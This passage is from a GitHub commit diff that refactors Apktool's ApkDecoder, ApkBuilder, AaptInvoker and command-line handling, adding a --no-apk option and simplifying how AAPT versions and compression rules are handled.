refactor: ApkDecoder & ApkBuilder overhaul (#3699)

* refactor: ApkDecoder & ApkBuilder overhaul

A major rewrite of ApkDecoder and ApkBuilder classes to make them managable.
Removed many instances of redundancy and improved syntaxed and indentation.

Modifying the stock Apktool source to our needs have become too difficult,
so I'm pushing the general (not specific to our needs) changes upstream.

I'd change a lot more, but I wanted to make sure all tests pass as expected,
despite some of them being wierd, outdated or unnecessary.

This also fixes certain files in META-INF being lost during recompile
when the -c/--copy-original option isn't used.

This has been tweaked and tested for several days and I vouch for its stablity.

* style: fix more redundancy

* style: fix more redundancy

* tweak: consistent case-sensitivity for cmd and options

* refactor: tracking unknownFiles via apkInfo is redundant

1) We take advantage of the fact that doNotCompress already tracks uncompressed files,
   including those separated into "unknown".
   With this change the "unknownFiles" is simply ignored, so it's backward-compatible
   with existing decoded APK dirs.
   Tweaked a few tests to match the removal of "unknownFiles".

2) Passing doNotCompress to AAPT is redundant, Apktool extracts the temp APK packed by
   AAPT to build/apk and then repackages it anyway, so it serves no purpose.

* refactor: fix minSdkVersion from baksmali + clean up more redundancy

* Regression: minSdkVersion inferred from baksmali was not stored properly.

* The arsc extension can be generalized for simplicity as seen in AOSP source.
https://cs.android.com/android/platform/superproject/main/+/main:external/deqp/scripts/android/build_apk.py;l=644?q=apk%20pack&ss=android%2Fplatform%2Fsuperproject%2Fmain:external%2F
  Note:
    NO_COMPRESS_EXT_PATTERN only collapses paths to a common extension.
    It does NOT force these extensions to be always uncompressed.
    doNotCompress is the one determining files/extensions that should be uncompressed.
  (no funcionality was changed)

* resourcesAreCompressed in apkInfo is redundant. It was only used in invokeAapt,
  but not ApkBuilder. Its value is also never set by Apktool, only read.
  Like with doNotCompress, passing any kind of compression rules to AAPT is pointless,
  since we don't use the temp APK packed by AAPT directly - it's extracted and repacked
  by ApkBuilder, where doNotCompress already determines whether resources.arsc should
  or should not be compressed in the final APK.
  (no funcionality was changed)

* style: optional args come after required args

* style: optional args come after required args

* style: sdkInfo as a normal field for consistency

* style: some formatting tweaks
This commit is contained in:
Igor Eisberg 2024-10-03 13:52:59 +03:00 committed by GitHub
parent c6bb75e540
commit 4de92a23ae
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
100 changed files with 1504 additions and 1598 deletions

View File

@ -88,24 +88,34 @@ public class Main {
boolean cmdFound = false;
for (String opt : commandLine.getArgs()) {
if (opt.equalsIgnoreCase("d") || opt.equalsIgnoreCase("decode")) {
cmdDecode(commandLine, config);
cmdFound = true;
} else if (opt.equalsIgnoreCase("b") || opt.equalsIgnoreCase("build")) {
cmdBuild(commandLine, config);
cmdFound = true;
} else if (opt.equalsIgnoreCase("if") || opt.equalsIgnoreCase("install-framework")) {
cmdInstallFramework(commandLine, config);
cmdFound = true;
} else if (opt.equalsIgnoreCase("empty-framework-dir")) {
cmdEmptyFrameworkDirectory(commandLine, config);
cmdFound = true;
} else if (opt.equalsIgnoreCase("list-frameworks")) {
cmdListFrameworks(commandLine, config);
cmdFound = true;
} else if (opt.equalsIgnoreCase("publicize-resources")) {
cmdPublicizeResources(commandLine, config);
cmdFound = true;
switch (opt) {
case "d":
case "decode":
cmdDecode(commandLine, config);
cmdFound = true;
break;
case "b":
case "build":
cmdBuild(commandLine, config);
cmdFound = true;
break;
case "if":
case "install-framework":
cmdInstallFramework(commandLine, config);
cmdFound = true;
break;
case "empty-framework-dir":
cmdEmptyFrameworkDirectory(commandLine, config);
cmdFound = true;
break;
case "list-frameworks":
cmdListFrameworks(commandLine, config);
cmdFound = true;
break;
case "publicize-resources":
cmdPublicizeResources(commandLine, config);
cmdFound = true;
break;
}
}
@ -214,8 +224,7 @@ public class Main {
}
ExtFile apkFile = new ExtFile(apkName);
ApkDecoder decoder = new ApkDecoder(config, apkFile);
ApkDecoder decoder = new ApkDecoder(apkFile, config);
try {
decoder.decode(outDir);
} catch (OutDirExistsException ex) {
@ -235,18 +244,12 @@ public class Main {
+ ". You must install proper "
+ "framework files, see project website for more info.");
System.exit(1);
} catch (IOException ex) {
System.err.println("Could not modify file. Please ensure you have permission.");
System.exit(1);
} catch (DirectoryException ex) {
System.err.println("Could not modify internal dex files. Please ensure you have permission.");
System.exit(1);
}
}
private static void cmdBuild(CommandLine cli, Config config) {
private static void cmdBuild(CommandLine cli, Config config) throws AndrolibException {
String[] args = cli.getArgs();
String appDirName = args.length < 2 ? "." : args[1];
String apkDirName = args.length < 2 ? "." : args[1];
// check for build options
if (cli.hasOption("f") || cli.hasOption("force-all")) {
@ -262,7 +265,32 @@ public class Main {
config.verbose = true;
}
if (cli.hasOption("a") || cli.hasOption("aapt")) {
config.aaptPath = cli.getOptionValue("a");
if (cli.hasOption("use-aapt1") || cli.hasOption("use-aapt2")) {
System.err.println("You can only use one of -a/--aapt or --use-aapt1 or --use-aapt2.");
System.exit(1);
}
try {
String aaptPath = cli.getOptionValue("a");
int aaptVersion = AaptManager.getAaptVersion(aaptPath);
if (aaptVersion < AaptManager.AAPT_VERSION_MIN && aaptVersion > AaptManager.AAPT_VERSION_MAX) {
System.err.println("AAPT version " + aaptVersion + " is not supported");
System.exit(1);
}
config.aaptPath = aaptPath;
config.aaptVersion = aaptVersion;
} catch (BrutException ex) {
System.err.println(ex.getMessage());
System.exit(1);
}
} else if (cli.hasOption("use-aapt1")) {
if (cli.hasOption("use-aapt2")) {
System.err.println("You can only use one of --use-aapt1 or --use-aapt2.");
System.exit(1);
}
config.aaptVersion = 1;
}
if (cli.hasOption("c") || cli.hasOption("copy-original")) {
config.copyOriginalFiles = true;
@ -270,13 +298,8 @@ public class Main {
if (cli.hasOption("nc") || cli.hasOption("no-crunch")) {
config.noCrunch = true;
}
if (cli.hasOption("use-aapt1")) {
config.useAapt2 = false;
}
if (cli.hasOption("use-aapt1") && cli.hasOption("use-aapt2")) {
System.err.println("You can only use one of --use-aapt1 or --use-aapt2.");
System.exit(1);
if (cli.hasOption("na") || cli.hasOption("no-apk")) {
config.noApk = true;
}
File outFile;
@ -286,21 +309,14 @@ public class Main {
outFile = null;
}
if (config.netSecConf && !config.useAapt2) {
System.err.println("-n / --net-sec-conf is only supported with --use-aapt2.");
if (config.netSecConf && config.aaptVersion == 1) {
System.err.println("-n / --net-sec-conf is not supported with legacy AAPT.");
System.exit(1);
}
// try and build apk
try {
if (cli.hasOption("a") || cli.hasOption("aapt")) {
config.aaptVersion = AaptManager.getAaptVersion(cli.getOptionValue("a"));
}
new ApkBuilder(config, new ExtFile(appDirName)).build(outFile);
} catch (BrutException ex) {
System.err.println(ex.getMessage());
System.exit(1);
}
ExtFile apkDir = new ExtFile(apkDirName);
ApkBuilder builder = new ApkBuilder(apkDir, config);
builder.build(outFile);
}
private static void cmdInstallFramework(CommandLine cli, Config config) throws AndrolibException {
@ -462,13 +478,13 @@ public class Main {
.build();
Option aapt1Option = Option.builder()
.longOpt("use-aapt1")
.desc("Use aapt binary instead of aapt2 during the build step.")
.build();
.longOpt("use-aapt1")
.desc("Use aapt binary instead of aapt2 during the build step.")
.build();
Option aapt2Option = Option.builder()
.longOpt("use-aapt2")
.desc("Use aapt2 binary instead of aapt during the build step.")
.desc("Use aapt2 binary instead of aapt during the build step. (default)")
.build();
Option originalOption = Option.builder("c")
@ -481,6 +497,11 @@ public class Main {
.desc("Disable crunching of resource files during the build step.")
.build();
Option noApkOption = Option.builder("na")
.longOpt("no-apk")
.desc("Disable repacking of the built files into a new apk.")
.build();
Option tagOption = Option.builder("t")
.longOpt("tag")
.desc("Tag frameworks using <tag>.")
@ -530,6 +551,7 @@ public class Main {
buildOptions.addOption(originalOption);
buildOptions.addOption(aapt1Option);
buildOptions.addOption(noCrunchOption);
buildOptions.addOption(noApkOption);
}
// add global options
@ -591,6 +613,7 @@ public class Main {
allOptions.addOption(aapt1Option);
allOptions.addOption(aapt2Option);
allOptions.addOption(noCrunchOption);
allOptions.addOption(noApkOption);
allOptions.addOption(onlyMainClassesOption);
}
@ -675,8 +698,8 @@ public class Main {
}
}
}
} catch (Exception exception) {
reportError(null, exception, ErrorManager.FORMAT_FAILURE);
} catch (Exception ex) {
reportError(null, ex, ErrorManager.FORMAT_FAILURE);
}
}

View File

@ -16,8 +16,8 @@
*/
package brut.androlib;
import brut.androlib.exceptions.AndrolibException;
import brut.androlib.apk.ApkInfo;
import brut.androlib.exceptions.AndrolibException;
import brut.common.BrutException;
import brut.util.AaptManager;
import brut.util.OS;
@ -39,39 +39,39 @@ public class AaptInvoker {
private File getAaptBinaryFile() throws AndrolibException {
try {
if (getAaptVersion() == 2) {
return AaptManager.getAapt2();
switch (mConfig.aaptVersion) {
case 2:
return AaptManager.getAapt2();
default:
return AaptManager.getAapt1();
}
return AaptManager.getAapt1();
} catch (BrutException ex) {
throw new AndrolibException(ex);
}
}
private int getAaptVersion() {
return mConfig.isAapt2() ? 2 : 1;
}
public void invokeAapt(File apkFile, File manifest, File resDir, File rawDir, File assetDir, File[] include)
throws AndrolibException {
private File createDoNotCompressExtensionsFile(ApkInfo apkInfo) throws AndrolibException {
if (apkInfo.doNotCompress == null || apkInfo.doNotCompress.isEmpty()) {
return null;
String aaptPath = mConfig.aaptPath;
boolean customAapt = !aaptPath.isEmpty();
List<String> cmd = new ArrayList<>();
try {
String aaptCommand = AaptManager.getAaptExecutionCommand(aaptPath, getAaptBinaryFile());
cmd.add(aaptCommand);
} catch (BrutException ex) {
LOGGER.warning("aapt: " + ex.getMessage() + " (defaulting to $PATH binary)");
cmd.add(AaptManager.getAaptBinaryName(mConfig.aaptVersion));
}
File doNotCompressFile;
try {
doNotCompressFile = File.createTempFile("APKTOOL", null);
doNotCompressFile.deleteOnExit();
BufferedWriter fileWriter = new BufferedWriter(new FileWriter(doNotCompressFile));
for (String extension : apkInfo.doNotCompress) {
fileWriter.write(extension);
fileWriter.newLine();
}
fileWriter.close();
return doNotCompressFile;
} catch (IOException ex) {
throw new AndrolibException(ex);
switch (mConfig.aaptVersion) {
case 2:
invokeAapt2(apkFile, manifest, resDir, rawDir, assetDir, include, cmd, customAapt);
break;
default:
invokeAapt1(apkFile, manifest, resDir, rawDir, assetDir, include, cmd, customAapt);
break;
}
}
@ -131,7 +131,9 @@ public class AaptInvoker {
cmd.add("-o");
cmd.add(apkFile.getAbsolutePath());
if (mApkInfo.packageInfo.forcedPackageId != null && ! mApkInfo.sharedLibrary) {
if (mApkInfo.packageInfo.forcedPackageId != null && !mApkInfo.packageInfo.forcedPackageId.equals("1")
&& !mApkInfo.sharedLibrary) {
cmd.add("--allow-reserved-package-id");
cmd.add("--package-id");
cmd.add(mApkInfo.packageInfo.forcedPackageId);
}
@ -174,8 +176,6 @@ public class AaptInvoker {
cmd.add("--no-version-transitions");
cmd.add("--no-resource-deduping");
cmd.add("--allow-reserved-package-id");
cmd.add("--no-compile-sdk-metadata");
// #3427 - Ignore stricter parsing during aapt2
@ -189,25 +189,6 @@ public class AaptInvoker {
cmd.add("-x");
}
if (mApkInfo.doNotCompress != null && !customAapt) {
// Use custom -e option to avoid limits on commandline length.
// Can only be used when custom aapt binary is not used.
String extensionsFilePath =
Objects.requireNonNull(createDoNotCompressExtensionsFile(mApkInfo)).getAbsolutePath();
cmd.add("-e");
cmd.add(extensionsFilePath);
} else if (mApkInfo.doNotCompress != null) {
for (String file : mApkInfo.doNotCompress) {
cmd.add("-0");
cmd.add(file);
}
}
if (!mApkInfo.resourcesAreCompressed) {
cmd.add("-0");
cmd.add("arsc");
}
if (include != null) {
for (File file : include) {
cmd.add("-I");
@ -264,7 +245,7 @@ public class AaptInvoker {
}
// force package id so that some frameworks build with correct id
// disable if user adds own aapt (can't know if they have this feature)
if (mApkInfo.packageInfo.forcedPackageId != null && ! customAapt && ! mApkInfo.sharedLibrary) {
if (mApkInfo.packageInfo.forcedPackageId != null && !mApkInfo.sharedLibrary && !customAapt) {
cmd.add("--forced-package-id");
cmd.add(mApkInfo.packageInfo.forcedPackageId);
}
@ -311,25 +292,6 @@ public class AaptInvoker {
cmd.add("-x");
}
if (mApkInfo.doNotCompress != null && !customAapt) {
// Use custom -e option to avoid limits on commandline length.
// Can only be used when custom aapt binary is not used.
String extensionsFilePath =
Objects.requireNonNull(createDoNotCompressExtensionsFile(mApkInfo)).getAbsolutePath();
cmd.add("-e");
cmd.add(extensionsFilePath);
} else if (mApkInfo.doNotCompress != null) {
for (String file : mApkInfo.doNotCompress) {
cmd.add("-0");
cmd.add(file);
}
}
if (!mApkInfo.resourcesAreCompressed) {
cmd.add("-0");
cmd.add("arsc");
}
if (include != null) {
for (File file : include) {
cmd.add("-I");
@ -359,26 +321,4 @@ public class AaptInvoker {
throw new AndrolibException(ex);
}
}
public void invokeAapt(File apkFile, File manifest, File resDir, File rawDir, File assetDir, File[] include)
throws AndrolibException {
String aaptPath = mConfig.aaptPath;
boolean customAapt = !aaptPath.isEmpty();
List<String> cmd = new ArrayList<>();
try {
String aaptCommand = AaptManager.getAaptExecutionCommand(aaptPath, getAaptBinaryFile());
cmd.add(aaptCommand);
} catch (BrutException ex) {
LOGGER.warning("aapt: " + ex.getMessage() + " (defaulting to $PATH binary)");
cmd.add(AaptManager.getAaptBinaryName(getAaptVersion()));
}
if (mConfig.isAapt2()) {
invokeAapt2(apkFile, manifest, resDir, rawDir, assetDir, include, cmd, customAapt);
return;
}
invokeAapt1(apkFile, manifest, resDir, rawDir, assetDir, include, cmd, customAapt);
}
}

View File

@ -31,6 +31,7 @@ import brut.directory.Directory;
import brut.directory.DirectoryException;
import brut.directory.ExtFile;
import brut.directory.ZipUtils;
import brut.util.AaptManager;
import brut.util.BrutIO;
import brut.util.OS;
import org.apache.commons.io.FileUtils;
@ -44,131 +45,145 @@ import java.nio.file.Files;
import java.util.*;
import java.util.concurrent.atomic.AtomicReference;
import java.util.logging.Logger;
import java.util.zip.CRC32;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
public class ApkBuilder {
private final static Logger LOGGER = Logger.getLogger(ApkBuilder.class.getName());
private final AtomicReference<AndrolibException> mBuildError = new AtomicReference<>(null);
private final Config mConfig;
private final ExtFile mApkDir;
private BackgroundWorker mWorker;
private final Config mConfig;
private ApkInfo mApkInfo;
private int mMinSdkVersion = 0;
private final static String APK_DIRNAME = "build/apk";
private final static String UNK_DIRNAME = "unknown";
private final static String[] APK_RESOURCES_FILENAMES = new String[] {
"resources.arsc", "AndroidManifest.xml", "res", "r", "R" };
private final static String[] APK_RESOURCES_WITHOUT_RES_FILENAMES = new String[] {
"resources.arsc", "AndroidManifest.xml" };
private final static String[] APP_RESOURCES_FILENAMES = new String[] {
"AndroidManifest.xml", "res" };
private final static String[] APK_MANIFEST_FILENAMES = new String[] {
"AndroidManifest.xml" };
private BackgroundWorker mWorker;
private final AtomicReference<AndrolibException> mBuildError = new AtomicReference<>(null);
public ApkBuilder(ExtFile apkDir) {
this(Config.getDefaultConfig(), apkDir);
this(apkDir, Config.getDefaultConfig());
}
public ApkBuilder(Config config, ExtFile apkDir) {
mConfig = config;
public ApkBuilder(ExtFile apkDir, Config config) {
mApkDir = apkDir;
mConfig = config;
}
public void build(File outFile) throws BrutException {
LOGGER.info("Using Apktool " + ApktoolProperties.getVersion() + " with " + mConfig.jobs + " thread(s).");
public void build(File outApk) throws AndrolibException {
if (mConfig.jobs > 1) {
mWorker = new BackgroundWorker(mConfig.jobs - 1);
}
try {
mWorker = new BackgroundWorker(mConfig.jobs);
mApkInfo = ApkInfo.load(mApkDir);
if (mApkInfo.getSdkInfo() != null && mApkInfo.getSdkInfo().get("minSdkVersion") != null) {
String minSdkVersion = mApkInfo.getSdkInfo().get("minSdkVersion");
String minSdkVersion = mApkInfo.getMinSdkVersion();
if (minSdkVersion != null) {
mMinSdkVersion = mApkInfo.getMinSdkVersionFromAndroidCodename(minSdkVersion);
}
if (outFile == null) {
if (outApk == null) {
String outFileName = mApkInfo.apkFileName;
outFile = new File(mApkDir, "dist" + File.separator + (outFileName == null ? "out.apk" : outFileName));
if (outFileName == null) {
outFileName = "out.apk";
}
outApk = new File(mApkDir, "dist" + File.separator + outFileName);
}
File outDir = new File(mApkDir, "build" + File.separator + "apk");
//noinspection ResultOfMethodCallIgnored
new File(mApkDir, APK_DIRNAME).mkdirs();
File manifest = new File(mApkDir, "AndroidManifest.xml");
File manifestOriginal = new File(mApkDir, "AndroidManifest.xml.orig");
outDir.mkdirs();
scheduleBuildDexFiles();
backupManifestFile(manifest, manifestOriginal);
buildResources();
copyLibs();
copyOriginalFilesIfEnabled();
mWorker.waitForFinish();
if (mBuildError.get() != null) {
throw mBuildError.get();
File manifest = new File(mApkDir, "AndroidManifest.xml");
File manifestOrig = new File(mApkDir, "AndroidManifest.xml.orig");
LOGGER.info("Using Apktool " + ApktoolProperties.getVersion() + " on " + outApk.getName()
+ (mWorker != null ? " with " + mConfig.jobs + " threads" : ""));
buildSources(outDir);
backupManifestFile(manifest, manifestOrig);
buildResources(outDir, manifest);
if (mWorker != null) {
mWorker.waitForFinish();
if (mBuildError.get() != null) {
throw mBuildError.get();
}
}
buildApk(outFile);
if (!mConfig.noApk) {
if (outApk.exists()) {
//noinspection ResultOfMethodCallIgnored
outApk.delete();
} else {
File parentDir = outApk.getParentFile();
if (parentDir != null && !parentDir.exists()) {
//noinspection ResultOfMethodCallIgnored
parentDir.mkdirs();
}
}
copyOriginalFiles(outDir);
LOGGER.info("Building apk file...");
try (ZipOutputStream outStream = new ZipOutputStream(Files.newOutputStream(outApk.toPath()))) {
// zip aapt output files
try {
ZipUtils.zipDir(outDir, outStream, mApkInfo.doNotCompress);
} catch (IOException ex) {
throw new AndrolibException(ex);
}
// zip remaining standard files
importRawFiles(outStream);
// zip unknown files
importUnknownFiles(outStream);
} catch (IOException ex) {
throw new AndrolibException(ex);
}
LOGGER.info("Built apk into: " + outApk.getPath());
}
// we copied the AndroidManifest.xml to AndroidManifest.xml.orig so we can edit it
// lets restore the unedited one, to not change the original
if (manifest.isFile() && manifest.exists() && manifestOriginal.isFile()) {
if (manifest.isFile() && manifestOrig.isFile()) {
try {
if (new File(mApkDir, "AndroidManifest.xml").delete()) {
FileUtils.moveFile(manifestOriginal, manifest);
if (manifest.delete()) {
FileUtils.moveFile(manifestOrig, manifest);
}
} catch (IOException ex) {
throw new AndrolibException(ex.getMessage());
throw new AndrolibException(ex);
}
}
LOGGER.info("Built apk into: " + outFile.getPath());
} finally {
mWorker.shutdownNow();
}
}
private void backupManifestFile(File manifest, File manifestOriginal) throws AndrolibException {
// If we decoded in "raw", we cannot patch AndroidManifest
if (new File(mApkDir, "resources.arsc").exists()) {
return;
}
if (manifest.isFile() && manifest.exists()) {
try {
if (manifestOriginal.exists()) {
//noinspection ResultOfMethodCallIgnored
manifestOriginal.delete();
}
FileUtils.copyFile(manifest, manifestOriginal);
ResXmlPatcher.fixingPublicAttrsInProviderAttributes(manifest);
} catch (IOException ex) {
throw new AndrolibException(ex.getMessage());
if (mWorker != null) {
mWorker.shutdownNow();
}
}
}
private void scheduleBuildDexFiles() throws AndrolibException {
private void buildSources(File outDir) throws AndrolibException {
if (!copySourcesRaw(outDir, "classes.dex")) {
buildSourcesSmali(outDir, "smali", "classes.dex");
}
try {
mWorker.submit(() -> scheduleDexBuild("classes.dex", "smali"));
Directory in = mApkDir.getDirectory();
// loop through any smali_ directories for multi-dex apks
Map<String, Directory> dirs = mApkDir.getDirectory().getDirs();
for (Map.Entry<String, Directory> directory : dirs.entrySet()) {
String name = directory.getKey();
if (name.startsWith("smali_")) {
String filename = name.substring(name.indexOf("_") + 1) + ".dex";
mWorker.submit(() -> scheduleDexBuild(filename, name));
for (String dirName : in.getDirs().keySet()) {
if (dirName.startsWith("smali_")) {
String fileName = dirName.substring(dirName.indexOf("_") + 1) + ".dex";
if (!copySourcesRaw(outDir, fileName)) {
buildSourcesSmali(outDir, dirName, fileName);
}
}
}
// loop through any classes#.dex files for multi-dex apks
File[] dexFiles = mApkDir.listFiles();
if (dexFiles != null) {
for (File dex : dexFiles) {
// skip classes.dex because we have handled it in buildSources()
if (dex.getName().endsWith(".dex") && !dex.getName().equalsIgnoreCase("classes.dex")) {
buildSourcesRaw(dex.getName());
}
for (String fileName : in.getFiles()) {
// skip classes.dex because we have handled it
if (fileName.endsWith(".dex") && !fileName.equals("classes.dex")) {
copySourcesRaw(outDir, fileName);
}
}
} catch (DirectoryException ex) {
@ -176,338 +191,309 @@ public class ApkBuilder {
}
}
private void scheduleDexBuild(String filename, String smali) {
private boolean copySourcesRaw(File outDir, String fileName) throws AndrolibException {
File working = new File(mApkDir, fileName);
if (!working.isFile()) {
return false;
}
File stored = new File(outDir, fileName);
if (!mConfig.forceBuildAll && !isModified(working, stored)) {
return true;
}
LOGGER.info("Copying raw " + fileName + " file...");
try {
if (mBuildError.get() != null) {
return;
}
if (!buildSourcesRaw(filename) && !buildSourcesSmali(smali, filename)) {
LOGGER.warning("Could not find sources");
}
} catch (AndrolibException e) {
mBuildError.compareAndSet(null, e);
BrutIO.copyAndClose(Files.newInputStream(working.toPath()), Files.newOutputStream(stored.toPath()));
} catch (IOException ex) {
throw new AndrolibException(ex);
}
return true;
}
private void buildSourcesSmali(File outDir, String dirName, String fileName) throws AndrolibException {
if (mWorker != null) {
mWorker.submit(() -> {
if (mBuildError.get() == null) {
try {
buildSourcesSmaliJob(outDir, dirName, fileName);
} catch (AndrolibException ex) {
mBuildError.compareAndSet(null, ex);
}
}
});
} else {
buildSourcesSmaliJob(outDir, dirName, fileName);
}
}
private boolean buildSourcesRaw(String filename) throws AndrolibException {
File working = new File(mApkDir, filename);
if (!working.exists()) {
return false;
private void buildSourcesSmaliJob(File outDir, String dirName, String fileName) throws AndrolibException {
File smaliDir = new File(mApkDir, dirName);
if (!smaliDir.isDirectory()) {
return;
}
File stored = new File(mApkDir, APK_DIRNAME + "/" + filename);
if (mConfig.forceBuildAll || isModified(working, stored)) {
LOGGER.info("Copying " + mApkDir.toString() + " " + filename + " file...");
File dex = new File(outDir, fileName);
if (!mConfig.forceBuildAll) {
LOGGER.info("Checking whether sources have changed...");
if (!isModified(smaliDir, dex)) {
return;
}
}
//noinspection ResultOfMethodCallIgnored
dex.delete();
int apiLevel = mConfig.apiLevel > 0 ? mConfig.apiLevel : mMinSdkVersion;
LOGGER.info("Smaling " + dirName + " folder into " + fileName + "...");
SmaliBuilder.build(smaliDir, dex, apiLevel);
}
private void backupManifestFile(File manifest, File manifestOrig) throws AndrolibException {
// if we decoded in "raw", we cannot patch AndroidManifest
if (new File(mApkDir, "resources.arsc").isFile()) {
return;
}
if (!manifest.isFile()) {
return;
}
if (manifestOrig.exists()) {
//noinspection ResultOfMethodCallIgnored
manifestOrig.delete();
}
try {
FileUtils.copyFile(manifest, manifestOrig);
ResXmlPatcher.fixingPublicAttrsInProviderAttributes(manifest);
} catch (IOException ex) {
throw new AndrolibException(ex);
}
}
private void buildResources(File outDir, File manifest) throws AndrolibException {
if (!manifest.isFile()) {
LOGGER.fine("Could not find AndroidManifest.xml");
return;
}
if (new File(mApkDir, "resources.arsc").isFile()) {
copyResourcesRaw(outDir, manifest);
} else if (new File(mApkDir, "res").isDirectory()) {
buildResourcesFull(outDir, manifest);
} else {
LOGGER.fine("Could not find resources");
buildManifest(outDir, manifest);
}
}
private void copyResourcesRaw(File outDir, File manifest) throws AndrolibException {
if (!mConfig.forceBuildAll) {
LOGGER.info("Checking whether resources have changed...");
if (!isModified(manifest, new File(outDir, "AndroidManifest.xml"))
&& !isModified(new File(mApkDir, "resources.arsc"), new File(outDir, "resources.arsc"))
&& !isModified(newFiles(mApkDir, ApkInfo.RESOURCES_DIRNAMES),
newFiles(outDir, ApkInfo.RESOURCES_DIRNAMES))) {
return;
}
}
LOGGER.info("Copying raw resources...");
try {
Directory in = mApkDir.getDirectory();
in.copyToDir(outDir, "AndroidManifest.xml");
in.copyToDir(outDir, "resources.arsc");
in.copyToDir(outDir, ApkInfo.RESOURCES_DIRNAMES);
} catch (DirectoryException ex) {
throw new AndrolibException(ex);
}
}
private void buildResourcesFull(File outDir, File manifest) throws AndrolibException {
File resourcesFile = new File(outDir.getParentFile(), "resources.zip");
if (!mConfig.forceBuildAll) {
LOGGER.info("Checking whether resources have changed...");
if (!isModified(manifest, new File(outDir, "AndroidManifest.xml"))
&& !isModified(newFiles(mApkDir, ApkInfo.RESOURCES_DIRNAMES),
newFiles(outDir, ApkInfo.RESOURCES_DIRNAMES))
&& (mConfig.aaptVersion == 1 || resourcesFile.isFile())) {
return;
}
}
//noinspection ResultOfMethodCallIgnored
resourcesFile.delete();
try {
if (mConfig.debugMode) {
if (mConfig.aaptVersion == 2) {
LOGGER.info("Using aapt2 - setting 'debuggable' attribute to 'true' in AndroidManifest.xml");
ResXmlPatcher.setApplicationDebugTagTrue(manifest);
} else {
ResXmlPatcher.removeApplicationDebugTag(manifest);
}
}
if (mConfig.netSecConf) {
String targetSdkVersion = mApkInfo.getTargetSdkVersion();
if (targetSdkVersion != null) {
if (Integer.parseInt(targetSdkVersion) < ResConfigFlags.SDK_NOUGAT) {
LOGGER.warning("Target SDK version is lower than 24! Network Security Configuration might be ignored!");
}
}
File netSecConfOrig = new File(mApkDir, "res/xml/network_security_config.xml");
if (netSecConfOrig.exists()) {
LOGGER.info("Replacing existing network_security_config.xml!");
//noinspection ResultOfMethodCallIgnored
netSecConfOrig.delete();
}
ResXmlPatcher.modNetworkSecurityConfig(netSecConfOrig);
ResXmlPatcher.setNetworkSecurityConfig(manifest);
LOGGER.info("Added permissive network security config in manifest");
}
} catch (IOException | ParserConfigurationException | TransformerException | SAXException ex) {
throw new AndrolibException(ex);
}
ExtFile tmpFile;
try {
tmpFile = new ExtFile(File.createTempFile("APKTOOL", null));
} catch (IOException ex) {
throw new AndrolibException(ex);
}
//noinspection ResultOfMethodCallIgnored
tmpFile.delete();
File resDir = new File(mApkDir, "res");
File ninePatch = new File(mApkDir, "9patch");
if (!ninePatch.isDirectory()) {
ninePatch = null;
}
LOGGER.info("Building resources with " + AaptManager.getAaptBinaryName(mConfig.aaptVersion) + "...");
try {
AaptInvoker invoker = new AaptInvoker(mConfig, mApkInfo);
invoker.invokeAapt(tmpFile, manifest, resDir, ninePatch, null, getIncludeFiles());
Directory tmpDir = tmpFile.getDirectory();
tmpDir.copyToDir(outDir, "AndroidManifest.xml");
tmpDir.copyToDir(outDir, "resources.arsc");
tmpDir.copyToDir(outDir, ApkInfo.RESOURCES_DIRNAMES);
} catch (DirectoryException ex) {
throw new AndrolibException(ex);
} finally {
//noinspection ResultOfMethodCallIgnored
tmpFile.delete();
}
}
private void buildManifest(File outDir, File manifest) throws AndrolibException {
if (!mConfig.forceBuildAll) {
LOGGER.info("Checking whether AndroidManifest.xml has changed...");
if (!isModified(manifest, new File(outDir, "AndroidManifest.xml"))) {
return;
}
}
ExtFile tmpFile;
try {
tmpFile = new ExtFile(File.createTempFile("APKTOOL", null));
} catch (IOException ex) {
throw new AndrolibException(ex);
}
//noinspection ResultOfMethodCallIgnored
tmpFile.delete();
File ninePatch = new File(mApkDir, "9patch");
if (!ninePatch.isDirectory()) {
ninePatch = null;
}
LOGGER.info("Building AndroidManifest.xml with " + AaptManager.getAaptBinaryName(mConfig.aaptVersion) + "...");
try {
AaptInvoker invoker = new AaptInvoker(mConfig, mApkInfo);
invoker.invokeAapt(tmpFile, manifest, null, ninePatch, null, getIncludeFiles());
Directory tmpDir = tmpFile.getDirectory();
tmpDir.copyToDir(outDir, "AndroidManifest.xml");
} catch (DirectoryException ex) {
throw new AndrolibException(ex);
} catch (AndrolibException ex) {
LOGGER.warning("Parse AndroidManifest.xml failed, treat it as raw file.");
copyManifestRaw(outDir);
} finally {
//noinspection ResultOfMethodCallIgnored
tmpFile.delete();
}
}
private void copyManifestRaw(File outDir) throws AndrolibException {
LOGGER.info("Copying raw manifest...");
try {
Directory in = mApkDir.getDirectory();
in.copyToDir(outDir, "AndroidManifest.xml");
} catch (DirectoryException ex) {
throw new AndrolibException(ex);
}
}
private void copyOriginalFiles(File outDir) throws AndrolibException {
if (!mConfig.copyOriginalFiles) {
return;
}
ExtFile originalDir = new ExtFile(mApkDir, "original");
if (!originalDir.isDirectory()) {
return;
}
LOGGER.info("Copying original files...");
try {
Directory in = originalDir.getDirectory();
for (String fileName : in.getFiles(true)) {
if (ApkInfo.ORIGINAL_FILENAMES_PATTERN.matcher(fileName).matches()) {
in.copyToDir(outDir, fileName);
}
}
} catch (DirectoryException ex) {
throw new AndrolibException(ex);
}
}
private void importRawFiles(ZipOutputStream outStream) throws AndrolibException {
for (String dirName : ApkInfo.RAW_DIRNAMES) {
File rawDir = new File(mApkDir, dirName);
if (!rawDir.isDirectory()) {
continue;
}
LOGGER.info("Importing " + dirName + "...");
try {
BrutIO.copyAndClose(Files.newInputStream(working.toPath()), Files.newOutputStream(stored.toPath()));
return true;
ZipUtils.zipDir(mApkDir, dirName, outStream, mApkInfo.doNotCompress);
} catch (IOException ex) {
throw new AndrolibException(ex);
}
}
return true;
}
private boolean buildSourcesSmali(String folder, String filename) throws AndrolibException {
ExtFile smaliDir = new ExtFile(mApkDir, folder);
if (!smaliDir.exists()) {
return false;
}
File dex = new File(mApkDir, APK_DIRNAME + "/" + filename);
if (!mConfig.forceBuildAll) {
LOGGER.info("Checking whether sources has changed...");
}
if (mConfig.forceBuildAll || isModified(smaliDir, dex)) {
LOGGER.info("Smaling " + folder + " folder into " + filename + "...");
//noinspection ResultOfMethodCallIgnored
dex.delete();
SmaliBuilder.build(smaliDir, dex, mConfig.apiLevel > 0 ? mConfig.apiLevel : mMinSdkVersion);
}
return true;
}
private void buildResources() throws BrutException {
// create res folder, manifest file and resources.arsc
if (!buildResourcesRaw() && !buildResourcesFull() && !buildManifest()) {
